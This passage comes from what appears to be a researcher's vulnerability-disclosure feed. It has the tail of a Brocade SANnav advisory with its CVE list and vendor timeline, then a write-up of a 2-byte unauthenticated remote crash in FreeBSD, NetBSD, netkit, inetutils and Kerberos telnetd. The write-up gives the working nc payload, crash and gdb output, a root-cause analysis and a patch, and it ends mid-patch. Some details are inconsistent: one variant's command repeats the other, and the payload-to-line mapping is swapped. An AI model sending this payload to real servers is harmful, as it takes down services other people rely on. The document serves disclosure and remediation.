<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23245">CVE-2024-2859 - Root access permitted by default and several insecure options set</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23244">CVE-2024-29960 - Hard Coded and identical SSH keys inside the OVA image</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23246">CVE-2024-29961 - Ping at regular intervals</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23248">CVE-2024-29962 - Insecure file permission setting that makes files world-readable</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23247">CVE-2024-29963 - Hardcoded keys used by Docker to reach remote registries over TLS</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23249">CVE-2024-29964 - Docker instances in Brocade SANnav before v2.3.1 and v2.3.0a have an insecure architecture and configuration</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23250">CVE-2024-29965 - A local attacker can recover backup files, restore them to a new malicious appliance, and retrieve the passwords of all the switches</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23255">CVE-2024-29966 - hard-coded credential in the documentation that appear as the root password</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23254">CVE-2024-29967 - Docker instances inside the appliance have insecure mount points, allowing reading and writing access to sensitive files</a></p>
<p><a id="timeline"></a></p>
<h2>Report Timeline</h2>
<ul>
<li>Aug 2022: Security assessment performed on SANnav 2.1.1</li>
<li>Sep 2022: A complete report was sent to Dell (as a support provider for this software) and forwarded to Brocade</li>
<li>Sep 2022: The report was rejected by Brocade</li>
<li>Oct 2022 - Dec 2022: Negotiations with Brocade to get security patches</li>
<li>Dec 7, 2022: <strong>Failed negotiations</strong>: Brocade support team confirmed that (i) no security patches would be provided since the tests were not carried out on the latest version and were invalid, (ii) all the reported vulnerabilities were misconfiguration issues in the devices and sannav, (iii) anyway, since the tested versions were EOL, CVEs would never be published if a vulnerability is found and (iv) asked Dell to provide a list of relevant vulnerabilities for the supported versions<br>
Pierre's comments: An additional report was also provided to Brocade in September 2022 with some 0-day vulnerabilities in Brocade Fibre Channel switches. At that time, even though the version of SANnav was outdated, <u>some of the reported vulnerabilities were also found in 3 supported versions of FOS (Fabric Operating System).</u> All the reported vulnerabilities were rejected.</li>
<li>Jan 31, 2023: The report is sent again to the Dell's Broadcom support team. </li>
<li>Feb 1, 2023: Dell replied that no actions would be taken until the vulnerabilities have been replicated by the customer in the latest versions of SANnav and FOS and that the latest FOS and SANnav are patched.</li>
<li>Apr 28, 2023: Thanks to some people willing to get security patches, I was able to get access the latest version of SANnav (2.2.2)</li>
<li>May 2, 2023: Reassessment of SANnav</li>
<li>May 3, 2023: An updated report is sent to Brocade PSIRT confirming that all the vulnerabilities are still present, with 3 new additional 0-day vulnerabilities, since Brocade will likely only accept security assessments on the latest versions and will reject vulnerabilities even in a supported version (if this is not the latest version)</li>
<li>May 3, 2023: Brocade PSIRT confirmed the reception of the security assessment</li>
<li>Jun 7, 2023: Brocade PSIRT confirmed some of the vulnerabilities in the latest version and confirms that SANnav 2.3.1 will contains security patches</li>
<li>Jul - Aug, 2023: Discussions with Brocade PSIRT about the vulnerabilities (related to issues in SANnav or misconfiguration issues).</li>
<li>December 2023: SANnav 2.3.1 is released</li>
<li>Mar 24, 2024: Brocade PSIRT provided a list of 9 CVEs and embargoed them until April 18th</li>
<li>Apr 17, 2024: CVEs and security bulletins are published</li>
<li>Apr 18, 2024: Brocade PSIRT is contacted to get the complete list of CVEs with the corresponding reported vulnerabilities</li>
<li>Apr 18, 2024: Brocade PSIRT provided a list of CVEs for SANnav vulnerabilities and requested a delay in disclosing vulnerabilities in Brocade Fibre Channel switches</li>
<li>Apr 24, 2024: A security advisory is published</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2024-04-24-brocade-sannav-18-vulnerabilities.html">https://pierrekim.github.io/blog/2024-04-24-brocade-sannav-18-vulnerabilities.html</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23245">CVE-2024-2859 - Root access permitted by default and several insecure options set</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23286">CVE-2024-4173 - Brocade SANnav ova versions exposes Kafka in the wan interface</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23284">CVE-2024-4161 - Syslog traffic sent in clear-text</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23282">CVE-2024-4159 - Protection mechanisms</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23244">CVE-2024-29960 - Hard Coded and identical SSH keys inside the OVA image</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23246">CVE-2024-29961 - Ping at regular intervals</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23248">CVE-2024-29962 - Insecure file permission setting that makes files world-readable</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23247">CVE-2024-29963 - Hardcoded keys used by Docker to reach remote registries over TLS</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23249">CVE-2024-29964 - Docker instances in Brocade SANnav before v2.3.1 and v2.3.0a have an insecure architecture and configuration</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23250">CVE-2024-29965 - A local attacker can recover backup files, restore them to a new malicious appliance, and retrieve the passwords of all the switches</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23255">CVE-2024-29966 - hard-coded credential in the documentation that appear as the root password</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23254">CVE-2024-29967 - Docker instances inside the appliance have insecure mount points, allowing reading and writing access to sensitive files</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23285">no CVE - Insecure sannav access using undocumented Brocade SANnav user sannav</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23283">no CVE - HTTPS configuration between Brocade SANnav Management Portal and Brocade SAN switches</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>2-byte DoS in freebsd-telnetd / netbsd-telnetd / netkit-telnetd / inetutils-telnetd / telnetd in Kerberos Version 5 Applications - Binary Golf Grand Prix 3 - CVE-2022-39028</title>
        <link href="2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html"/>
        <content type="html"><h2>Product Description</h2>
<p>FreeBSD-telnetd, NetBSD-telnetd, netkit-telnetd, telnetd in Kerberos Version 5 Applications and inetutils-telnetd are standard telnet servers used in several Linux distributions, BSD systems, UNIX systems and commercial products:</p>
<ul>
<li>FreeBSD, NetBSD</li>
<li>Debian, Fedora, Gentoo, ArchLinux, ... - using inetutils-telnetd or netkit-telnetd</li>
<li>specific Palo Alto appliances</li>
<li>specific Cisco appliances</li>
<li>specific Brocade appliances</li>
<li>specific Arista appliances</li>
<li>OS running telnetd from Kerberos Version 5 Applications: this may include BSD 4.3 Reno, UNICOS 5.1 to UNICOS 7.0, SunOs 3.5 to SunOs 4.1, DYNIX V3.0.17.9 and Ultrix 3.1 to Ultrix 4.0. Note that these OS may be EOL.</li>
<li>...</li>
</ul>
<p>From our understanding, the first implementation containing the vulnerabilities dates from February 1991. This is the Kerberos telnetd implementation available at <a href="https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd">https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd</a>.</p>
<p>This code has been merged into FreeBSD in the 90s. Then netkit-telnetd comes from a very old version of the FreeBSD telnetd. And finally inetutils-telnetd is a fork of netkit-telnetd.</p>
<p>These vulnerabilities are very old (at least 30 years).</p>
<p>In all these implementations, the vulnerable part of the code base has not been updated for 30 years and appears not to be maintained anymore.</p>
<p>A part of the list of affected products was obtained by using <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10188">CVE-2020-10188 (a vulnerability in netkit-telnetd)</a>.
We can find advisories from <a href="https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-telnetd-EFJrEzPx">Cisco</a>, <a href="https://security.paloaltonetworks.com/CVE-2020-10188">Palo Alto</a>, <a href="https://www.broadcom.com/support/fibre-channel-networking/security-advisories/brocade-security-advisory-2021-1013">Brocade</a> and <a href="https://www.arista.com/en/support/advisories-notices/security-advisories/10702-security-advisory-48">Arista</a> referencing CVE-2020-10188 in their products.</p>
<p>Furthermore, from <a href="https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README">https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README</a>, the release date is February 22, 1991 and the supported OS are BSD 4.3 Reno, UNICOS 5.1 to UNICOS 7.0, SunOs 3.5 to SunOs 4.1, DYNIX V3.0.17.9 and Ultrix 3.1 to Ultrix 4.0.
We can assume these OS running kerberos-telnetd are also vulnerable.</p>
<p>We wanted to participate to the <a href="https://tmpout.sh/bggp/3/">Binary Golf Grand Prix 3</a> with a fun vulnerability very easy to trigger over the network without authentication and with only 2 bytes.</p>
<p>The summary is:</p>
<ol>
<li><a href="#remote-dos">Details - Remote DoS in FreeBSD telnetd</a><br>
1.1. <a href="#remote-dos-bonus-points">Bonus points</a><br>
1.2. <a href="#remote-dos-netkit-telnet-0.17">netkit-telnet-0.17</a><br>
1.3. <a href="#remote-dos-inetutils">Inetutils</a><br>
1.4. <a href="#remote-dos-netbsd-telnetd">NetBSD-telnetd</a><br>
1.5. <a href="#remote-dos-kerberos-telnetd-latest-version">Telnetd in Kerberos Version 5 Applications - latest version</a><br>
1.6. <a href="#remote-dos-kerberos-telnetd-initial-version">Telnetd in Kerberos Version 5 Applications - initial version</a><br>
1.7. <a href="#remote-dos-analysis">Analysis of the "normal" execution path</a><br>
1.8. <a href="#remote-dos-root-cause-analysis">Root cause analysis of the crashes</a><br>
1.9. <a href="#remote-dos-macos">MacOS</a><br>
1.10. <a href="#remote-dos-conclusion">Conclusion</a><br></li>
<li><a href="#permanent-remote-dos">Details - permanent Remote DoS</a></li>
<li><a href="#full-disclosure">Vendor Response</a></li>
<li><a href="#recommendations">Recommendations</a></li>
<li><a href="#bggp3-score">BGGP #3 Score</a></li>
<li><a href="#credits">Credits</a></li>
<li><a href="#references">References</a></li>
<li><a href="#disclaimer">Disclaimer</a></li>
</ol>
<p><a id="remote-dos"></a></p>
<h2>Details - Remote DoS in FreeBSD telnetd</h2>
<p>It is possible to remotely crash the "standard" FreeBSD telnetd server by sending 2 bytes (<code>\xff\xf7</code>) from the network, as shown below:</p>
<pre><code>kali% printf "\xff\xf7" | nc -n -v 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
&lt;FF&gt;&lt;FD&gt;%
kali%
</code></pre>
<p>And we can confirm the remote telnetd server running on a FreeBSD 13.1 machine crashed:</p>
<pre><code>freebsd-13-1p1# echo "telnet stream  tcp     nowait  root    /usr/libexec/telnetd    telnetd" &gt;&gt; /etc/inetd.conf
freebsd-13-1p1# /etc/rc.d/inetd onestart
Starting inetd.
freebsd-13-1p1# echo "waiting for the PoC..."
waiting for the PoC...
[...]
freebsd-13-1p1# dmesg | tail -n 1
pid 785 (telnetd), jid 0, uid 0: exited on signal 11 (core dumped)
</code></pre>
<p>A working variant exists with <code>\xff\xf8</code>. The vulnerable code is located 2 lines under the first vulnerability in the source code.</p>
<pre><code>kali% printf "\xff\xf7" | nc -n -v 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
&lt;FF&gt;&lt;FD&gt;%
kali%
</code></pre>
<p>Debugging with FreeBSD:</p>
<pre><code>freebsd-13-1p1# freebsd-update fetch
Looking up update.FreeBSD.org mirrors... 2 mirrors found.
Fetching metadata signature for 13.1-RELEASE from update2.freebsd.org... done.
Fetching metadata index... done.
Inspecting system... done.
Preparing to download files... done.
Fetching 7 patches.... done.
Applying patches... done.
freebsd-13-1p1# freebsd-update install
Creating snapshot of existing boot environment... done.
Installing updates...Scanning //usr/share/certs/blacklisted for certificates...
Scanning //usr/share/certs/trusted for certificates...
 done.
freebsd-13-1p1#
freebsd-13-1p1# cd /tmp
freebsd-13-1p1# fetch https://download.freebsd.org/ftp/releases/amd64/13.1-RELEASE/src.txz
src.txz                                                183 MB 6208 kBps    31s
freebsd-13-1p1# tar -C / -xvf src.txz
...
x usr/src/secure/caroot/blacklisted/GeoTrust_Primary_Certification_Authority_-_G3.pem
x usr/src/secure/caroot/blacklisted/Camerfirma_Chambers_of_Commerce_Root.pem
x usr/src/secure/caroot/blacklisted/Trustis_FPS_Root_CA.pem
freebsd-13-1p1# cat &lt;&lt;EOF &gt; /etc/make.conf
CFLAGS=-pipe
WITH_CTF=1
DEBUG_FLAGS=-g
EOF
freebsd-13-1p1# cd /usr/src/lib/libtelnet &amp;&amp; make obj &amp;&amp; make depend &amp;&amp; make &amp;&amp; make install
cc  -pipe -fno-common   -I/usr/src/contrib/telnet -DENCRYPTION -DAUTHENTICATION -DSRA -DKRB5 -DFORWARD -Dnet_write=telnet_net_write -g -MD  -MF.depend.genget.o -MTgenget.o -std=gnu99 -Wno-format-zero-length -fstack-protector-strong -Wsystem-headers -Werror -Wall -Wno-format-y2k -Wno-uninitialized -Wno-pointer-sign -Wno-empty-body -Wno-string-plus-int -Wno-unused-const-variable -Wno-error=unused-but-set-variable -Wno-tautological-compare -Wno-unused-value -Wno-parentheses-equality -Wno-unused-function -Wno-enum-conversion -Wno-unused-local-typedef -Wno-address-of-packed-member -Wno-switch -Wno-switch-enum -Wno-knr-promoted-parameter  -Qunused-arguments    -c /usr/src/contrib/telnet/libtelnet/genget.c -o genget.o
...
freebsd-13-1p1# cd /usr/src/libexec/telnetd &amp;&amp; make obj &amp;&amp; make depend &amp;&amp; make &amp;&amp; make install
...
install -o root -g wheel -m 555 telnetd /usr/libexec/telnetd
install -o root -g wheel -m 444 telnetd.debug /usr/lib/debug/usr/libexec/telnetd.debug
install -o root -g wheel -m 444 telnetd.8.gz  /usr/share/man/man8/
</code></pre>
<p>The <code>telnetd</code> program will be compiled without optimization and with debug information (<code>-g</code>).</p>
<p>Sending the payload from a Kali Linux:</p>
<pre><code>kali% (sleep 10 ; printf "\xff\xf7") | nc -n -v 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
&lt;FF&gt;&lt;FD&gt;%
</code></pre>
<p>And debugging with gdb on FreeBSD:</p>
<pre><code>freebsd-13-1p1# ps -auxww | grep telnetd
root  4430   0.0  0.1 19016 7400  -  Ss   08:58     0:00.01 telnetd
root  4432   0.0  0.0 12840 2316  0  R+   08:58     0:00.00 grep telnetd
freebsd-13-1p1# gdb -p 4430
GNU gdb (GDB) 12.1 [GDB v12.1 for FreeBSD]
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-portbld-freebsd13.0".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
&lt;https://www.gnu.org/software/gdb/bugs/&gt;.
Find the GDB manual and other documentation resources online at:
    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.

For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 4430
Reading symbols from /usr/libexec/telnetd...
Reading symbols from /usr/lib/debug//usr/libexec/telnetd.debug...

warning: Could not load shared library symbols for [vdso].
Do you need "set solib-search-path" or "set sysroot"?
Reading symbols from /lib/libutil.so.9...
(No debugging symbols found in /lib/libutil.so.9)
Reading symbols from /lib/libncursesw.so.9...
(No debugging symbols found in /lib/libncursesw.so.9)
Reading symbols from /usr/lib/libmp.so.7...
(No debugging symbols found in /usr/lib/libmp.so.7)
Reading symbols from /lib/libcrypto.so.111...
(No debugging symbols found in /lib/libcrypto.so.111)
Reading symbols from /usr/lib/libpam.so.6...
(No debugging symbols found in /usr/lib/libpam.so.6)
Reading symbols from /usr/lib/libkrb5.so.11...
(No debugging symbols found in /usr/lib/libkrb5.so.11)
Reading symbols from /usr/lib/libroken.so.11...
(No debugging symbols found in /usr/lib/libroken.so.11)
Reading symbols from /lib/libc.so.7...
(No debugging symbols found in /lib/libc.so.7)
Reading symbols from /lib/libthr.so.3...
(No debugging symbols found in /lib/libthr.so.3)
Reading symbols from /usr/lib/libasn1.so.11...
(No debugging symbols found in /usr/lib/libasn1.so.11)
Reading symbols from /usr/lib/libcom_err.so.5...
(No debugging symbols found in /usr/lib/libcom_err.so.5)
Reading symbols from /lib/libcrypt.so.5...
(No debugging symbols found in /lib/libcrypt.so.5)
Reading symbols from /usr/lib/libhx509.so.11...
(No debugging symbols found in /usr/lib/libhx509.so.11)
Reading symbols from /usr/lib/libwind.so.11...
(No debugging symbols found in /usr/lib/libwind.so.11)
Reading symbols from /usr/lib/libheimbase.so.11...
(No debugging symbols found in /usr/lib/libheimbase.so.11)
Reading symbols from /usr/lib/libprivateheimipcc.so.11...
(No debugging symbols found in /usr/lib/libprivateheimipcc.so.11)
Reading symbols from /libexec/ld-elf.so.1...
(No debugging symbols found in /libexec/ld-elf.so.1)
[Switching to LWP 100331 of process 4430]
0x00000008015e76b8 in _read () from /lib/libc.so.7
(gdb) b telrcv
Breakpoint 1 at 0x102be98: file /usr/src/contrib/telnet/telnetd/state.c, line 96.
(gdb) c
Continuing.

Breakpoint 1, telrcv () at /usr/src/contrib/telnet/telnetd/state.c:96
96      while (ncc &gt; 0) {
(gdb) n
97          if ((&amp;ptyobuf[BUFSIZ] - pfrontp) &lt; 2)
(gdb) 
99          c = *netip++ &amp; 0377, ncc--;
(gdb) 
101         if (decrypt_input)
(gdb) 
104         switch (state) {
(gdb) 
115             if (c == IAC) {     // [1] IAC = 255 = 0xff. this is the first character we sent
(gdb) 
116                 state = TS_IAC; // [2] the state variable becomes TS_IAC
(gdb) 
117                 break;
(gdb) 
96      while (ncc &gt; 0) {
(gdb)

Breakpoint 1, telrcv () at /usr/src/contrib/telnet/telnetd/state.c:96
96      while (ncc &gt; 0) {
(gdb) 
97          if ((&amp;ptyobuf[BUFSIZ] - pfrontp) &lt; 2)
(gdb) 
99          c = *netip++ &amp; 0377, ncc--;
(gdb) 
101         if (decrypt_input)
(gdb) 
104         switch (state) {
(gdb) 
159 gotiac:         switch (c) {
          /* we reach line 159, thanks to the line 158 shown in the next C listing:
             the state variable is checked against TS_IAC (defined in the previous loop) */
(gdb) 
220                 DIAG(TD_OPTIONS,

(gdb) 
222                 ptyflush(); /* half-hearted */
(gdb) 
223                 init_termbuf();
(gdb) 
224                 if (c == EC)
(gdb) 
225                     ch = *slctab[SLC_EC].sptr;
(gdb)

Program received signal SIGSEGV, Segmentation fault.
Address not mapped to object.
0x000000000102c2af in telrcv () at /usr/src/contrib/telnet/telnetd/state.c:225
225                     ch = *slctab[SLC_EC].sptr;
(gdb) bt
#0  0x000000000102c2af in telrcv () at /usr/src/contrib/telnet/telnetd/state.c:225
#1  0x0000000001033383 in ttloop () at /usr/src/contrib/telnet/telnetd/utility.c:84
#2  0x0000000001030ff7 in getterminaltype (name=0x1045000 &lt;user_name&gt; "") at /usr/src/contrib/telnet/telnetd/telnetd.c:481
#3  0x0000000001030dff in doit (who=0x7fffffffe928) at /usr/src/contrib/telnet/telnetd/telnetd.c:715
#4  0x0000000001030b46 in main (argc=0, argv=0x7fffffffea30) at /usr/src/contrib/telnet/telnetd/telnetd.c:408
(gdb) p ch
$1 = 0 '\000'
(gdb) p slctab[10]
$2 = {defset = {flag = 0 '\000', val = 0 '\000'}, current = {flag = 0 '\000', val = 0 '\000'}, sptr = 0x0}
(gdb) p slctab[10].sptr 
$3 = (cc_t *) 0x0
(gdb) p *(slctab[10].sptr)
Cannot access memory at address 0x0
</code></pre>
<p>We can see 2 loops in gdb, each for one character.</p>
<p>And the crash is a null pointer dereference.</p>
<p><code>SLC_EC</code> is defined in  <code>usr/src/contrib/telnet/arpa/telnet.h</code>:</p>
<pre><code>193 #define SLC_SUSP        9
194 #define SLC_EC          10
195 #define SLC_EL          11
</code></pre>
<p>When reading the <code>/usr/src/contrib/telnet/telnetd/state.c</code> file, we can find the vulnerable lines 225 and 227:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">91</span> <span style="color: #0000FF">telrcv</span>(<span style="color: #B00040">void</span>)
 <span style="color: #666666">92</span> {
 <span style="color: #666666">93</span>         <span style="color: #B00040">int</span> c;
 <span style="color: #666666">94</span>         <span style="color: #008000; font-weight: bold">static</span> <span style="color: #B00040">int</span> state <span style="color: #666666">=</span> TS_DATA;
 <span style="color: #666666">95</span> 
 <span style="color: #666666">96</span>         <span style="color: #008000; font-weight: bold">while</span> (ncc <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>) {
 <span style="color: #666666">97</span>                 <span style="color: #008000; font-weight: bold">if</span> ((<span style="color: #666666">&amp;</span>ptyobuf[BUFSIZ] <span style="color: #666666">-</span> pfrontp) <span style="color: #666666">&lt;</span> <span style="color: #666666">2</span>)
 <span style="color: #666666">98</span>                         <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">99</span>                 c <span style="color: #666666">=</span> <span style="color: #666666">*</span>netip<span style="color: #666666">++</span> <span style="color: #666666">&amp;</span> <span style="color: #666666">0377</span>, ncc<span style="color: #666666">--</span>;
<span style="color: #666666">100</span> <span style="border: 1px solid #FF0000">#</span>ifdef  ENCRYPTION
<span style="color: #666666">101</span>                 <span style="color: #008000; font-weight: bold">if</span> (decrypt_input)
<span style="color: #666666">102</span>                         c <span style="color: #666666">=</span> (<span style="color: #666666">*</span>decrypt_input)(c);
<span style="color: #666666">103</span> <span style="border: 1px solid #FF0000">#</span>endif  <span style="color: #408080; font-style: italic">/* ENCRYPTION */</span>
<span style="color: #666666">104</span>                 <span style="color: #008000; font-weight: bold">switch</span> (state) {
...
<span style="color: #666666">158</span>                 <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">TS_IAC</span>:  <span style="color: #408080; font-style: italic">// in the second loop, state is TS_IAC,</span>
                                  <span style="color: #408080; font-style: italic">// from [2], we continue the execution flow there</span>
<span style="color: #666666">159</span> <span style="color: #A0A000">gotiac</span>:                 <span style="color: #008000; font-weight: bold">switch</span> (c) { <span style="color: #408080; font-style: italic">// testing the current character</span>
...
<span style="color: #666666">211</span>                         <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">212                          * Erase Character and</span>
<span style="color: #408080; font-style: italic">213                          * Erase Line</span>
<span style="color: #408080; font-style: italic">214                          */</span>
<span style="color: #666666">215</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EC</span>: <span style="color: #408080; font-style: italic">// is the current character 247 (0xf7)?</span>
<span style="color: #666666">216</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EL</span>: <span style="color: #408080; font-style: italic">// is the current character 248 (0xf8)?</span>
<span style="color: #666666">217</span>                             {
<span style="color: #666666">218</span>                                 cc_t ch;
<span style="color: #666666">219</span> 
<span style="color: #666666">220</span>                                 DIAG(TD_OPTIONS,
<span style="color: #666666">221</span>                                         printoption(<span style="color: #BA2121">&quot;td: recv IAC&quot;</span>, c));
<span style="color: #666666">222</span>                                 ptyflush();     <span style="color: #408080; font-style: italic">/* half-hearted */</span>
<span style="color: #666666">223</span>                                 init_termbuf();
<span style="color: #666666">224</span>                                 <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> EC)
<span style="color: #666666">225</span>                                         ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EC].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">226</span>                                 <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">227</span>                                         ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EL].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">228</span>                                 <span style="color: #008000; font-weight: bold">if</span> (ch <span style="color: #666666">!=</span> (cc_t)(_POSIX_VDISABLE))
<span style="color: #666666">229</span>                                         <span style="color: #666666">*</span>pfrontp<span style="color: #666666">++</span> <span style="color: #666666">=</span> (<span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span>)ch;
<span style="color: #666666">230</span>                                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">231</span>                             }
</pre></div>

<p>In the code, <code>EC</code> corresponds to <code>247</code> (<code>\xf7</code>) and <code>EL</code> corresponds to <code>248</code> (<code>\xf8</code>):</p>
<p>They are defined in <code>/usr/src/contrib/telnet/arpa/telnet.h</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">39</span> <span style="border: 1px solid #FF0000">#</span>define IAC     <span style="color: #666666">255</span>             <span style="color: #408080; font-style: italic">/* interpret as command: */</span>
...
<span style="color: #666666">46</span> <span style="border: 1px solid #FF0000">#</span>define EL      <span style="color: #666666">248</span>             <span style="color: #408080; font-style: italic">/* erase the current line */</span>
<span style="color: #666666">47</span> <span style="border: 1px solid #FF0000">#</span>define EC      <span style="color: #666666">247</span>             <span style="color: #408080; font-style: italic">/* erase the current character */</span>
</pre></div>

<p>So we have this code executed when sending the payload <code>\xff\xf8</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EC].sptr;
</pre></div>

<p>or this code executed when sending the payload <code>\xff\xf7</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EL].sptr;
</pre></div>

<p>Using gdb, we can see that <code>slctab[10].sptr</code> (<code>slctab[SLC_EC].sptr</code>) and <code>slctab[11].sptr</code> (<code>slctab[SLC_EL].sptr</code>) are set to <code>NULL</code> (<code>0x0</code>) so the value at the <code>NULL</code> address is unreachable.</p>
<p>We can modify the function by checking the pointers. This change will remove the previous security vulnerabilities:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">211</span>                         <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">212                          * Erase Character and</span>
<span style="color: #408080; font-style: italic">213                          * Erase Line</span>
<span style="color: #408080; font-style: italic">214                          */</span>
<span style="color: #666666">215</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EC</span>:
<span style="color: #666666">216</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EL</span>:
<span style="color: #666666">217</span>                             {
<span style="color: #666666">218</span>                                 cc_t ch <span style="color: #666666">=</span> (cc_t)_POSIX_VDISABLE;
<span style="color: #666666">219</span>
<span style="color: #666666">220</span>                                 <span style="color: #0000FF">DIAG</span>(TD_OPTIONS,
<span style="color: #666666">221</span>                                         printoption(<span style="color: #BA2121">&quot;td: recv IAC&quot;</span>, c));
<span style="color: #666666">222</span>                                 <span style="color: #0000FF">ptyflush</span>();     <span style="color: #408080; font-style: italic">/* half-hearted */</span>
<span style="color: #666666">223</span>                                 <span style="color: #0000FF">init_termbuf</span>();
<span style="color: #666666">224</span>                                 <span style="color: #0000FF">if</span> (c <span style="color: #666666">==</span> EC)
<span style="color: #666666">225</span>                                 {
<span style="color: #666666">226</span>                                         <span style="color: #008000; font-weight: bold">if</span> (slctab[SLC_EC].sptr)
<span style="color: #666666">227</span>                                                 ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EC].sptr;
<span style="color: #666666">228</span>                                 }
<span style="color: #666666">229</span>                                 <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">230</span>                                 {
<span style="color: #666666">231</span>                                         <span style="color: #008000; font-weight: bold">if</span> (slctab[SLC_EL].sptr)
<span style="color: #666666">232</span>                                                 ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EL].sptr;
<span style="color: #666666">233</span>                                 }
<span style="color: #666666">234</span>                                 <span style="color: #008000; font-weight: bold">if</span> (ch <span style="color: #666666">!=</span> (cc_t)(_POSIX_VDISABLE))
